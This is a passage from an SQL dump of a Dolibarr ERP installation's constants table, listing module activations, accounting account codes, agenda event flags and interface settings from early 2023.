16:58:22'),(10305,'MAIN_MODULE_RECRUITMENT_THEME',1,'0','chaine',0,NULL,'2023-01-12 16:58:22'),(10306,'MAIN_MODULE_RECRUITMENT_MODULEFOREXTERNAL',1,'0','chaine',0,NULL,'2023-01-12 16:58:22'),(10307,'MAIN_MODULE_RESOURCE',1,'1','string',0,'{\"authorid\":0,\"ip\":\"127.0.0.1\",\"lastactivationversion\":\"dolibarr\"}','2023-01-12 16:58:22'),(10308,'MAIN_MODULE_SALARIES',1,'1','string',0,'{\"authorid\":0,\"ip\":\"127.0.0.1\",\"lastactivationversion\":\"dolibarr\"}','2023-01-12 16:58:22'),(10309,'MAIN_MODULE_SERVICE',1,'1','string',0,'{\"authorid\":0,\"ip\":\"127.0.0.1\",\"lastactivationversion\":\"dolibarr\"}','2023-01-12 16:58:22'),(10310,'MAIN_MODULE_SYSLOG',0,'1','string',0,'{\"authorid\":0,\"ip\":\"127.0.0.1\",\"lastactivationversion\":\"dolibarr\"}','2023-01-12 16:58:23'),(10311,'MAIN_MODULE_SOCIETE',1,'1','string',0,'{\"authorid\":0,\"ip\":\"127.0.0.1\",\"lastactivationversion\":\"dolibarr\"}','2023-01-12 16:58:23'),(10312,'MAIN_MODULE_STRIPE',1,'1','string',0,'{\"authorid\":0,\"ip\":\"127.0.0.1\",\"lastactivationversion\":\"dolibarr\"}','2023-01-12 16:58:23'),(10313,'MAIN_MODULE_TICKET',1,'1','string',0,'{\"authorid\":0,\"ip\":\"127.0.0.1\",\"lastactivationversion\":\"dolibarr\"}','2023-01-12 16:58:23'),(10314,'MAIN_MODULE_TICKET_TABS_0',1,'thirdparty:+ticket:Tickets:ticket:$user->rights->ticket->read:/ticket/list.php?socid=__ID__','chaine',0,NULL,'2023-01-12 16:58:23'),(10315,'MAIN_MODULE_TICKET_TRIGGERS',1,'1','chaine',0,NULL,'2023-01-12 16:58:23'),(10316,'TAKEPOS_PRINT_METHOD',1,'browser','chaine',0,'','2023-01-12 16:58:23'),(10317,'MAIN_MODULE_TAKEPOS',1,'1','string',0,'{\"authorid\":0,\"ip\":\"127.0.0.1\",\"lastactivationversion\":\"dolibarr\"}','2023-01-12 16:58:23'),(10318,'MAIN_MODULE_TAKEPOS_TRIGGERS',1,'0','chaine',0,NULL,'2023-01-12 16:58:23'),(10319,'MAIN_MODULE_TAKEPOS_LOGIN',1,'0','chaine',0,NULL,'2023-01-12 16:58:23'),(10320,'MAIN_MODULE_TAKEPOS_SUBSTITUTIONS',1,'1','chaine',0,NULL,'2023-01-12 16:58:23'),(10321,'MAIN_MODULE_TAKEPOS_MENUS',1,'0','chaine',0,NULL,'2023-01-12 16:58:23'),(10322,'MAIN_MODULE_TAKEPOS_THEME',1,'0','chaine',0,NULL,'2023-01-12 16:58:23'),(10323,'MAIN_MODULE_TAKEPOS_TPL',1,'0','chaine',0,NULL,'2023-01-12 16:58:23'),(10324,'MAIN_MODULE_TAKEPOS_BARCODE',1,'0','chaine',0,NULL,'2023-01-12 16:58:23'),(10325,'MAIN_MODULE_TAKEPOS_MODELS',1,'0','chaine',0,NULL,'2023-01-12 16:58:23'),(10326,'MAIN_MODULE_USER',0,'1','string',0,'{\"authorid\":0,\"ip\":\"127.0.0.1\",\"lastactivationversion\":\"dolibarr\"}','2023-01-12 16:58:23'),(10327,'MAIN_MODULE_VARIANTS',1,'1','string',0,'{\"authorid\":0,\"ip\":\"127.0.0.1\",\"lastactivationversion\":\"dolibarr\"}','2023-01-12 16:58:23'),(10330,'MAIN_FIRST_PING_OK_DATE',1,'20230112170006','chaine',0,'','2023-01-12 17:00:06'),(10331,'MAIN_FIRST_PING_OK_ID',1,'disabled','chaine',0,'','2023-01-12 17:00:06'),(10337,'MAIN_MODULE_WEBSITE',1,'1','string',0,'{\"authorid\":\"12\",\"ip\":\"127.0.0.1\",\"lastactivationversion\":\"dolibarr\"}','2023-01-12 20:24:42'),(10341,'WEBSITE_SUBCONTAINERSINLINE',1,'1','chaine',0,'','2023-01-12 20:25:36'),(10354,'MAIN_MODULE_SELLYOURSAAS',1,'1','string',0,'{\"authorid\":\"12\",\"ip\":\"127.0.0.1\",\"lastactivationversion\":\"2.0\"}','2023-01-19 12:20:14'),(10355,'MAIN_MODULE_SELLYOURSAAS_TABS_0',1,'contract:+upgrade:UsefulLinks:sellyoursaas@sellyoursaas:$user->rights->sellyoursaas->read:/sellyoursaas/backoffice/instance_links.php?id=__ID__','chaine',0,NULL,'2023-01-19 12:20:14'),(10356,'MAIN_MODULE_SELLYOURSAAS_TABS_1',1,'contract:+users:Users:sellyoursaas@sellyoursaas:$user->rights->sellyoursaas->read:/sellyoursaas/backoffice/instance_users.php?id=__ID__','chaine',0,NULL,'2023-01-19 12:20:14'),(10357,'MAIN_MODULE_SELLYOURSAAS_TABS_2',1,'contract:+backup:SUBSTITUTION_BackupInstanceTabTitle:sellyoursaas@sellyoursaas:$user->rights->sellyoursaas->read:/sellyoursaas/backoffice/instance_backup.php?id=__ID__','chaine',0,NULL,'2023-01-19 12:20:14'),(10358,'MAIN_MODULE_SELLYOURSAAS_TRIGGERS',1,'1','chaine',0,NULL,'2023-01-19 12:20:14'),(10359,'MAIN_MODULE_SELLYOURSAAS_SUBSTITUTIONS',1,'1','chaine',0,NULL,'2023-01-19 12:20:14'),(10360,'MAIN_MODULE_SELLYOURSAAS_MENUS',1,'0','chaine',0,NULL,'2023-01-19 12:20:14'),(10361,'MAIN_MODULE_SELLYOURSAAS_MODELS',1,'1','chaine',0,NULL,'2023-01-19 12:20:14'),(10362,'MAIN_MODULE_SELLYOURSAAS_LOGIN',1,'1','chaine',0,NULL,'2023-01-19 12:20:14'),(10363,'MAIN_MODULE_SELLYOURSAAS_HOOKS',1,'[\"thirdpartycard\",\"thirdpartycomm\",\"thirdpartysupplier\",\"thirdpartycontact\",\"contactthirdparty\",\"thirdpartyticket\",\"thirdpartynote\",\"thirdpartydocument\",\"thirdpartypartnership\",\"projectthirdparty\",\"consumptionthirdparty\",\"thirdpartybancard\",\"thirdpartymargins\",\"ticketlist\",\"thirdpartynotification\",\"agendathirdparty\",\"thirdpartydao\",\"formmail\",\"searchform\",\"thirdpartylist\",\"customerlist\",\"prospectlist\",\"contractcard\",\"contractdao\",\"contractlist\",\"pdfgeneration\",\"odtgeneration\",\"customreport\"]','chaine',0,NULL,'2023-01-19 12:20:14'),(10364,'NLTECHNO_NOTE',0,'Welcome to SellYourSaas Home page

\n Link to the specification: https://framagit.org/eldy/sell-your-saas

\n ...You can enter content on this page to save any notes/information of your choices.','chaine',0,'This is another constant to add','2023-01-19 12:20:14'),(10365,'CONTRACT_SYNC_PLANNED_DATE_OF_SERVICES',1,'1','chaine',0,'Sync the planned date of services to the same value for all lines in the same contract','2023-01-19 12:20:14'),(10366,'THIRDPARTY_LOGO_ALLOW_EXTERNAL_DOWNLOAD',1,'1','chaine',0,'Allow to access thirdparty logo from external link','2023-01-19 12:20:14'),(10367,'STRIPE_ALLOW_LOCAL_CARD',1,'1','chaine',0,'Allow to save stripe credit card locally','2023-01-19 12:20:14'),(10368,'SELLYOURSAAS_NAME',1,'SellYourSaas','chaine',0,'Name of your SellYouSaaS service','2023-01-19 12:20:14'),(10369,'CONTRACT_DISABLE_AUTOSET_AS_CLIENT_ON_CONTRACT_VALIDATION',1,'1','chaine',0,'Disable autoset of client status on contract validation','2023-01-19 12:20:14'),(10370,'INVOICE_ALLOW_EXTERNAL_DOWNLOAD',1,'1','chaine',0,'Invoice can be downloaded with a public link','2023-01-19 12:20:14'),(10371,'SELLYOURSAAS_NBHOURSBETWEENTRIES',1,'49','chaine',1,'Nb hours minium between each try','2023-01-19 12:20:14'),(10372,'SELLYOURSAAS_NBDAYSBEFOREENDOFTRIES',1,'35','chaine',1,'Nb days before stopping invoice payment try','2023-01-19 12:20:14'),(10373,'AUDIT_ENABLE_PREFIX_SESSION',1,'1','chaine',1,'Enable column prefix session in audit view','2023-01-19 12:20:14'),(10379,'FCKEDITOR_ENABLE_NOTE_PUBLIC',1,'0','chaine',0,'','2023-01-20 12:41:31'),(10381,'FCKEDITOR_ENABLE_NOTE_PRIVATE',1,'0','chaine',0,'','2023-01-20 12:41:32'),(10383,'MAIN_USE_VAT_COMPANIES_IN_EEC_USE_NO_VAT_EVEN_IF_VAT_ID_UNKNOWN',1,'1','chaine',1,'','2023-01-24 10:39:10'),(10411,'ACCOUNTING_ACCOUNT_CUSTOMER',1,'411','chaine',0,'','2023-01-24 11:09:30'),(10412,'ACCOUNTING_ACCOUNT_SUPPLIER',1,'401','chaine',0,'','2023-01-24 11:09:30'),(10413,'SALARIES_ACCOUNTING_ACCOUNT_PAYMENT',1,'421','chaine',0,'','2023-01-24 11:09:30'),(10414,'ACCOUNTING_PRODUCT_SOLD_ACCOUNT',1,'107','chaine',0,'','2023-01-24 11:09:30'),(10415,'ACCOUNTING_PRODUCT_SOLD_INTRA_ACCOUNT',1,'108','chaine',0,'','2023-01-24 11:09:30'),(10416,'ACCOUNTING_PRODUCT_SOLD_EXPORT_ACCOUNT',1,'109','chaine',0,'','2023-01-24 11:09:30'),(10417,'ACCOUNTING_PRODUCT_BUY_ACCOUNT',1,'-1','chaine',0,'','2023-01-24 11:09:30'),(10418,'ACCOUNTING_PRODUCT_BUY_INTRA_ACCOUNT',1,'-1','chaine',0,'','2023-01-24 11:09:30'),(10419,'ACCOUNTING_PRODUCT_BUY_EXPORT_ACCOUNT',1,'-1','chaine',0,'','2023-01-24 11:09:30'),(10420,'ACCOUNTING_SERVICE_SOLD_ACCOUNT',1,'107','chaine',0,'','2023-01-24 11:09:30'),(10421,'ACCOUNTING_SERVICE_SOLD_INTRA_ACCOUNT',1,'108','chaine',0,'','2023-01-24 11:09:30'),(10422,'ACCOUNTING_SERVICE_SOLD_EXPORT_ACCOUNT',1,'109','chaine',0,'','2023-01-24 11:09:30'),(10423,'ACCOUNTING_SERVICE_BUY_ACCOUNT',1,'-1','chaine',0,'','2023-01-24 11:09:30'),(10424,'ACCOUNTING_SERVICE_BUY_INTRA_ACCOUNT',1,'-1','chaine',0,'','2023-01-24 11:09:30'),(10425,'ACCOUNTING_SERVICE_BUY_EXPORT_ACCOUNT',1,'-1','chaine',0,'','2023-01-24 11:09:30'),(10426,'ACCOUNTING_VAT_BUY_ACCOUNT',1,'-1','chaine',0,'','2023-01-24 11:09:30'),(10427,'ACCOUNTING_VAT_SOLD_ACCOUNT',1,'-1','chaine',0,'','2023-01-24 11:09:30'),(10428,'ACCOUNTING_VAT_PAY_ACCOUNT',1,'-1','chaine',0,'','2023-01-24 11:09:30'),(10429,'ACCOUNTING_ACCOUNT_TRANSFER_CASH',1,'58','chaine',0,'','2023-01-24 11:09:30'),(10430,'DONATION_ACCOUNTINGACCOUNT',1,'-1','chaine',0,'','2023-01-24 11:09:30'),(10431,'ADHERENT_SUBSCRIPTION_ACCOUNTINGACCOUNT',1,'-1','chaine',0,'','2023-01-24 11:09:30'),(10432,'LOAN_ACCOUNTING_ACCOUNT_CAPITAL',1,'164','chaine',0,'','2023-01-24 11:09:30'),(10433,'LOAN_ACCOUNTING_ACCOUNT_INTEREST',1,'-1','chaine',0,'','2023-01-24 11:09:30'),(10434,'LOAN_ACCOUNTING_ACCOUNT_INSURANCE',1,'-1','chaine',0,'','2023-01-24 11:09:30'),(10435,'ACCOUNTING_ACCOUNT_SUSPENSE',1,'471','chaine',0,'','2023-01-24 11:09:30'),(10436,'ACCOUNTING_ACCOUNT_CUSTOMER_DEPOSIT',1,'-1','chaine',0,'','2023-01-24 11:09:30'),(10437,'ACCOUNTING_ACCOUNT_SUPPLIER_DEPOSIT',1,'-1','chaine',0,'','2023-01-24 11:09:30'),(10615,'MAIN_ALLOW_SVG_FILES_AS_IMAGES',1,'1','chaine',1,'','2023-01-25 16:12:52'),(10618,'MAIN_HOME',1,'__(NoteSomeFeaturesAreDisabled)__
\r\n__(SomeTranslationAreUncomplete)__','chaine',0,'','2023-01-30 18:23:00'),(11246,'MEMBER_ENABLE_PUBLIC',1,'1','chaine',0,'','2023-02-09 13:31:03'),(11247,'MEMBER_NEWFORM_AMOUNT',1,'20','chaine',0,'','2023-02-09 13:31:03'),(11248,'MEMBER_MIN_AMOUNT',1,'15','chaine',0,'','2023-02-09 13:31:03'),(11249,'MEMBER_COUNTERS_ARE_PUBLIC',1,'0','chaine',0,'','2023-02-09 13:31:03'),(11250,'MEMBER_NEWFORM_PAYONLINE',1,'all','chaine',0,'','2023-02-09 13:31:03'),(11253,'MAIN_MODULE_MODULEBUILDER',1,'1','string',0,'{\"authorid\":\"12\",\"ip\":\"127.0.0.1\",\"lastactivationversion\":\"dolibarr\"}','2023-02-09 17:37:02'),(11321,'SYSLOG_LEVEL',0,'7','chaine',0,'','2023-02-10 14:27:16'),(11347,'CONTACT_USE_SEARCH_TO_SELECT',1,'2','chaine',0,'','2023-02-10 16:03:10'),(11356,'MAIN_MODULE_HRM',1,'1','string',0,'{\"authorid\":\"12\",\"ip\":\"192.168.0.254\",\"lastactivationversion\":\"dolibarr\"}','2023-02-11 11:07:50'),(11357,'MAIN_MODULE_HRM_TABS_0',1,'user:+skill_tab:Skills:hrm:1:/hrm/skill_tab.php?id=__ID__&objecttype=user','chaine',0,NULL,'2023-02-11 11:07:50'),(11358,'MAIN_MODULE_HRM_TRIGGERS',1,'0','chaine',0,NULL,'2023-02-11 11:07:50'),(11359,'MAIN_MODULE_HRM_LOGIN',1,'0','chaine',0,NULL,'2023-02-11 11:07:50'),(11360,'MAIN_MODULE_HRM_SUBSTITUTIONS',1,'0','chaine',0,NULL,'2023-02-11 11:07:50'),(11361,'MAIN_MODULE_HRM_MENUS',1,'0','chaine',0,NULL,'2023-02-11 11:07:50'),(11362,'MAIN_MODULE_HRM_TPL',1,'0','chaine',0,NULL,'2023-02-11 11:07:50'),(11363,'MAIN_MODULE_HRM_BARCODE',1,'0','chaine',0,NULL,'2023-02-11 11:07:50'),(11364,'MAIN_MODULE_HRM_MODELS',1,'1','chaine',0,NULL,'2023-02-11 11:07:50'),(11365,'MAIN_MODULE_HRM_PRINTING',1,'0','chaine',0,NULL,'2023-02-11 11:07:50'),(11366,'MAIN_MODULE_HRM_THEME',1,'0','chaine',0,NULL,'2023-02-11 11:07:50'),(11367,'MAIN_MODULE_HRM_MODULEFOREXTERNAL',1,'0','chaine',0,NULL,'2023-02-11 11:07:50'),(11372,'MAIN_MODULE_PARTNERSHIP',1,'1','string',0,'{\"authorid\":\"12\",\"ip\":\"192.168.0.254\",\"lastactivationversion\":\"dolibarr\"}','2023-02-15 11:19:34'),(11373,'MAIN_MODULE_PARTNERSHIP_TRIGGERS',1,'0','chaine',0,NULL,'2023-02-15 11:19:34'),(11374,'MAIN_MODULE_PARTNERSHIP_LOGIN',1,'0','chaine',0,NULL,'2023-02-15 11:19:34'),(11375,'MAIN_MODULE_PARTNERSHIP_SUBSTITUTIONS',1,'0','chaine',0,NULL,'2023-02-15 11:19:34'),(11376,'MAIN_MODULE_PARTNERSHIP_MENUS',1,'0','chaine',0,NULL,'2023-02-15 11:19:34'),(11377,'MAIN_MODULE_PARTNERSHIP_TPL',1,'0','chaine',0,NULL,'2023-02-15 11:19:34'),(11378,'MAIN_MODULE_PARTNERSHIP_BARCODE',1,'0','chaine',0,NULL,'2023-02-15 11:19:34'),(11379,'MAIN_MODULE_PARTNERSHIP_MODELS',1,'1','chaine',0,NULL,'2023-02-15 11:19:34'),(11380,'MAIN_MODULE_PARTNERSHIP_PRINTING',1,'0','chaine',0,NULL,'2023-02-15 11:19:34'),(11381,'MAIN_MODULE_PARTNERSHIP_THEME',1,'0','chaine',0,NULL,'2023-02-15 11:19:34'),(11382,'MAIN_MODULE_PARTNERSHIP_MODULEFOREXTERNAL',1,'0','chaine',0,NULL,'2023-02-15 11:19:34'),(11385,'FCKEDITOR_ENABLE_SCAYT_AUTOSTARTUP',1,'1','chaine',1,'','2023-02-16 11:48:05'),(11389,'MAIN_UPLOAD_DOC',1,'50000','chaine',0,'','2023-02-17 18:58:22'),(11390,'MAIN_UMASK',1,'0664','chaine',0,'','2023-02-17 18:58:22'),(11391,'MAIN_ANTIVIRUS_PARAM',1,'--fdpass','chaine',0,'','2023-02-17 18:58:22'),(11396,'MAIN_MAIL_DEBUG',1,'1','chaine',1,'','2023-02-18 12:03:32'),(11397,'MAIN_REMOVE_INSTALL_WARNING',1,'2','chaine',1,'','2023-02-18 12:03:32'),(11417,'MAIN_CACHE_COUNT',1,'1','chaine',1,'','2023-02-20 00:04:52'),(11420,'MAIN_MODULE_WEBHOOK',1,'1','string',0,'{\"authorid\":\"12\",\"ip\":\"127.0.0.1\",\"lastactivationversion\":\"experimental\"}','2023-02-20 00:48:16'),(11421,'MAIN_MODULE_WEBHOOK_TRIGGERS',1,'1','chaine',0,NULL,'2023-02-20 00:48:16'),(11422,'MAIN_MODULE_WEBHOOK_LOGIN',1,'0','chaine',0,NULL,'2023-02-20 00:48:16'),(11423,'MAIN_MODULE_WEBHOOK_SUBSTITUTIONS',1,'0','chaine',0,NULL,'2023-02-20 00:48:16'),(11424,'MAIN_MODULE_WEBHOOK_MENUS',1,'0','chaine',0,NULL,'2023-02-20 00:48:16'),(11425,'MAIN_MODULE_WEBHOOK_TPL',1,'0','chaine',0,NULL,'2023-02-20 00:48:16'),(11426,'MAIN_MODULE_WEBHOOK_BARCODE',1,'0','chaine',0,NULL,'2023-02-20 00:48:16'),(11427,'MAIN_MODULE_WEBHOOK_MODELS',1,'1','chaine',0,NULL,'2023-02-20 00:48:16'),(11428,'MAIN_MODULE_WEBHOOK_PRINTING',1,'0','chaine',0,NULL,'2023-02-20 00:48:16'),(11429,'MAIN_MODULE_WEBHOOK_THEME',1,'0','chaine',0,NULL,'2023-02-20 00:48:16'),(11430,'MAIN_MODULE_WEBHOOK_MODULEFOREXTERNAL',1,'0','chaine',0,NULL,'2023-02-20 00:48:16'),(11440,'PARTNERSHIP_ENABLE_PUBLIC',1,'1','chaine',0,'','2023-02-21 09:10:03'),(11444,'THEME_ELDY_USEBORDERONTABLE',1,'1','chaine',0,'','2023-02-21 09:56:21'),(11454,'TICKET_CREATE_THIRD_PARTY_WITH_CONTACT_IF_NOT_EXIST',1,'1','chaine',1,'','2023-02-21 19:37:57'),(11456,'MAIN_FEATURES_LEVEL',0,'2','chaine',1,'Level of features to show (0=stable only, 1=stable+experimental, 2=stable+experimental+development','2023-02-22 12:49:54'),(11465,'MAIN_MODULE_GOOGLE',1,'1','string',0,'{\"authorid\":\"12\",\"ip\":\"127.0.0.1\",\"lastactivationversion\":\"6.5\"}','2023-02-22 19:34:58'),(11466,'MAIN_MODULE_GOOGLE_TABS_0',1,'agenda:+gcal:MenuAgendaGoogle:google@google:$conf->google->enabled && $conf->global->GOOGLE_ENABLE_AGENDA:/google/index.php','chaine',0,NULL,'2023-02-22 19:34:58'),(11467,'MAIN_MODULE_GOOGLE_TABS_1',1,'user:+gsetup:GoogleUserConf:google@google:$conf->google->enabled && $conf->global->GOOGLE_DUPLICATE_INTO_GCAL:/google/admin/google_calsync_user.php?id=__ID__','chaine',0,NULL,'2023-02-22 19:34:58'),(11468,'MAIN_MODULE_GOOGLE_TRIGGERS',1,'1','chaine',0,NULL,'2023-02-22 19:34:58'),(11469,'MAIN_MODULE_GOOGLE_HOOKS',1,'[\"main\",\"agenda\",\"agendalist\"]','chaine',0,NULL,'2023-02-22 19:34:58'),(11470,'GOOGLE_DEBUG',0,'0','chaine',1,'This is to enable Google debug','2023-02-22 19:34:58'),(11480,'MAIN_MODULE_MAILING',1,'1','string',0,'{\"authorid\":\"12\",\"ip\":\"127.0.0.1\",\"lastactivationversion\":\"dolibarr\"}','2023-02-23 11:11:13'),(11485,'MAIN_MODULE_NUMBERWORDS',1,'1','string',0,'{\"authorid\":\"12\",\"ip\":\"127.0.0.1\",\"lastactivationversion\":\"5.0.2\"}','2023-02-24 13:07:42'),(11486,'MAIN_MODULE_NUMBERWORDS_SUBSTITUTIONS',1,'1','chaine',0,NULL,'2023-02-24 13:07:42'),(11498,'MAIN_MODULE_ACCOUNTING',1,'1','string',0,'{\"authorid\":\"12\",\"ip\":\"127.0.0.1\",\"lastactivationversion\":\"dolibarr\"}','2023-02-27 01:59:59'),(11499,'MAIN_COMPANY_CODE_ALWAYS_REQUIRED',1,'1','chaine',0,'With this constants on, third party code is always required whatever is numbering module behaviour','2023-02-27 01:59:59'),(11500,'MAIN_BANK_ACCOUNTANCY_CODE_ALWAYS_REQUIRED',1,'1','chaine',0,'With this constants on, bank account number is always required','2023-02-27 01:59:59'),(11506,'ACCOUNTING_EXPORT_MODELCSV',1,'1000','chaine',0,'','2023-02-27 02:09:06'),(11507,'ACCOUNTING_EXPORT_FORMAT',1,'txt','chaine',0,'','2023-02-27 02:09:06'),(11511,'ACCOUNTING_REEXPORT',1,'1','yesno',0,'','2023-02-27 03:05:51'),(11517,'MAIN_THEME',1,'eldy','chaine',0,'','2023-02-27 13:05:37'),(11519,'THEME_DARKMODEENABLED',1,'1','chaine',0,'','2023-02-27 13:05:38'),(11520,'THEME_ELDY_USE_HOVER',1,'237,244,251','chaine',0,'','2023-02-27 13:05:38'),(11523,'PRELEVEMENT_ID_BANKACCOUNT',1,'5','chaine',0,'','2023-02-27 14:03:10'),(11526,'MAIN_MODULE_SCANINVOICES',1,'1','string',0,'{\"authorid\":\"12\",\"ip\":\"127.0.0.1\",\"lastactivationversion\":\"1.3.96\"}','2023-02-27 16:28:21'),(11527,'MAIN_MODULE_SCANINVOICES_TABS_0',1,'thirdparty:+tabScanInvoices:ScanInvoices:scaninvoices@scaninvoices:$user->rights->scaninvoices->write:/scaninvoices/scaninvoices_thirdparty.php?socid=__ID__','chaine',0,NULL,'2023-02-27 16:28:21'),(11528,'MAIN_MODULE_SCANINVOICES_TABS_1',1,'supplier_invoice:+tabScanInvoices:ScanInvoices:scaninvoices@scaninvoices:$user->rights->scaninvoices->write:/scaninvoices/scaninvoices_invoicesuppliercard.php?socid=__ID__','chaine',0,NULL,'2023-02-27 16:28:21'),(11529,'MAIN_MODULE_SCANINVOICES_TRIGGERS',1,'0','chaine',0,NULL,'2023-02-27 16:28:21'),(11530,'MAIN_MODULE_SCANINVOICES_LOGIN',1,'0','chaine',0,NULL,'2023-02-27 16:28:21'),(11531,'MAIN_MODULE_SCANINVOICES_SUBSTITUTIONS',1,'0','chaine',0,NULL,'2023-02-27 16:28:21'),(11532,'MAIN_MODULE_SCANINVOICES_MENUS',1,'0','chaine',0,NULL,'2023-02-27 16:28:21'),(11533,'MAIN_MODULE_SCANINVOICES_TPL',1,'0','chaine',0,NULL,'2023-02-27 16:28:21'),(11534,'MAIN_MODULE_SCANINVOICES_BARCODE',1,'0','chaine',0,NULL,'2023-02-27 16:28:21'),(11535,'MAIN_MODULE_SCANINVOICES_MODELS',1,'1','chaine',0,NULL,'2023-02-27 16:28:21'),(11536,'MAIN_MODULE_SCANINVOICES_THEME',1,'0','chaine',0,NULL,'2023-02-27 16:28:21'),(11537,'MAIN_MODULE_SCANINVOICES_CSS',1,'[\"\\/scaninvoices\\/css\\/index.css\"]','chaine',0,NULL,'2023-02-27 16:28:21'),(11538,'MAIN_MODULE_SCANINVOICES_HOOKS',1,'[\"ordersuppliercard\",\"globalcard\",\"emailcolector\",\"emailcollectorfilterdao\",\"emailcollectordao\",\"invoicesuppliercard\"]','chaine',0,NULL,'2023-02-27 16:28:21'),(11539,'MAIN_MODULE_SCANINVOICES_MODULEFOREXTERNAL',1,'0','chaine',0,NULL,'2023-02-27 16:28:21'),(11660,'AGENDA_USE_EVENT_TYPE',0,'1','chaine',0,'','2023-02-28 12:49:59'),(11661,'AGENDA_USE_EVENT_TYPE',1,'1','chaine',0,'','2023-02-28 12:49:59'),(11781,'PARTNERSHIP_IS_MANAGED_FOR',1,'thirdparty','chaine',0,'','2023-03-01 10:01:28'),(11782,'PARTNERSHIP_NBDAYS_AFTER_MEMBER_EXPIRATION_BEFORE_CANCEL',1,'30','chaine',0,'','2023-03-01 10:01:28'),(11783,'PARTNERSHIP_BACKLINKS_TO_CHECK',1,'dolibarr.org|dolibarr.fr|dolibarr.es','chaine',0,'','2023-03-01 10:01:28'),(11786,'MAIN_AGENDA_ACTIONAUTO_COMPANY_SENTBYMAIL',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11787,'MAIN_AGENDA_ACTIONAUTO_COMPANY_MODIFY',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11788,'MAIN_AGENDA_ACTIONAUTO_COMPANY_DELETE',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11789,'MAIN_AGENDA_ACTIONAUTO_COMPANY_CREATE',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11790,'MAIN_AGENDA_ACTIONAUTO_PROPAL_CLASSIFY_BILLED',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11791,'MAIN_AGENDA_ACTIONAUTO_PROPAL_CLOSE_REFUSED',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11792,'MAIN_AGENDA_ACTIONAUTO_PROPAL_DELETE',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11793,'MAIN_AGENDA_ACTIONAUTO_PROPAL_MODIFY',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11794,'MAIN_AGENDA_ACTIONAUTO_PROPAL_VALIDATE',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11795,'MAIN_AGENDA_ACTIONAUTO_PROPAL_CLOSE_SIGNED',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11796,'MAIN_AGENDA_ACTIONAUTO_PROPAL_SENTBYMAIL',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11797,'MAIN_AGENDA_ACTIONAUTO_ORDER_VALIDATE',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11798,'MAIN_AGENDA_ACTIONAUTO_ORDER_DELETE',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11799,'MAIN_AGENDA_ACTIONAUTO_ORDER_MODIFY',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11800,'MAIN_AGENDA_ACTIONAUTO_ORDER_SENTBYMAIL',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11801,'MAIN_AGENDA_ACTIONAUTO_ORDER_CANCEL',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11802,'MAIN_AGENDA_ACTIONAUTO_ORDER_CLASSIFY_BILLED',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11803,'MAIN_AGENDA_ACTIONAUTO_ORDER_CLOSE',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11804,'MAIN_AGENDA_ACTIONAUTO_BILL_VALIDATE',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11805,'MAIN_AGENDA_ACTIONAUTO_BILL_MODIFY',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11806,'MAIN_AGENDA_ACTIONAUTO_BILL_PAYED',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11807,'MAIN_AGENDA_ACTIONAUTO_BILL_CANCEL',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11808,'MAIN_AGENDA_ACTIONAUTO_BILL_DELETE',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11809,'MAIN_AGENDA_ACTIONAUTO_BILL_UNVALIDATE',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11810,'MAIN_AGENDA_ACTIONAUTO_BILL_SENTBYMAIL',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11811,'MAIN_AGENDA_ACTIONAUTO_PROPOSAL_SUPPLIER_MODIFY',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11812,'MAIN_AGENDA_ACTIONAUTO_PROPOSAL_SUPPLIER_VALIDATE',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11813,'MAIN_AGENDA_ACTIONAUTO_PROPOSAL_SUPPLIER_SENTBYMAIL',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11814,'MAIN_AGENDA_ACTIONAUTO_PROPOSAL_SUPPLIER_CLOSE_SIGNED',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11815,'MAIN_AGENDA_ACTIONAUTO_PROPOSAL_SUPPLIER_DELETE',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11816,'MAIN_AGENDA_ACTIONAUTO_PROPOSAL_SUPPLIER_CLOSE_REFUSED',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11817,'MAIN_AGENDA_ACTIONAUTO_ORDER_SUPPLIER_CREATE',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11818,'MAIN_AGENDA_ACTIONAUTO_ORDER_SUPPLIER_VALIDATE',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11819,'MAIN_AGENDA_ACTIONAUTO_ORDER_SUPPLIER_SUBMIT',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11820,'MAIN_AGENDA_ACTIONAUTO_ORDER_SUPPLIER_RECEIVE',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11821,'MAIN_AGENDA_ACTIONAUTO_ORDER_SUPPLIER_APPROVE',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11822,'MAIN_AGENDA_ACTIONAUTO_ORDER_SUPPLIER_REFUSE',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11823,'MAIN_AGENDA_ACTIONAUTO_ORDER_SUPPLIER_CANCEL',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11824,'MAIN_AGENDA_ACTIONAUTO_ORDER_SUPPLIER_MODIFY',1,'1','chaine',0,'','2023-03-01 16:57:33'),(11825,'MAIN_AGENDA_ACTIONAUTO_ORDER_SUPPLIER_CLASSIFY_BILLED',1,'1','chaine',0,'','2023-03-01 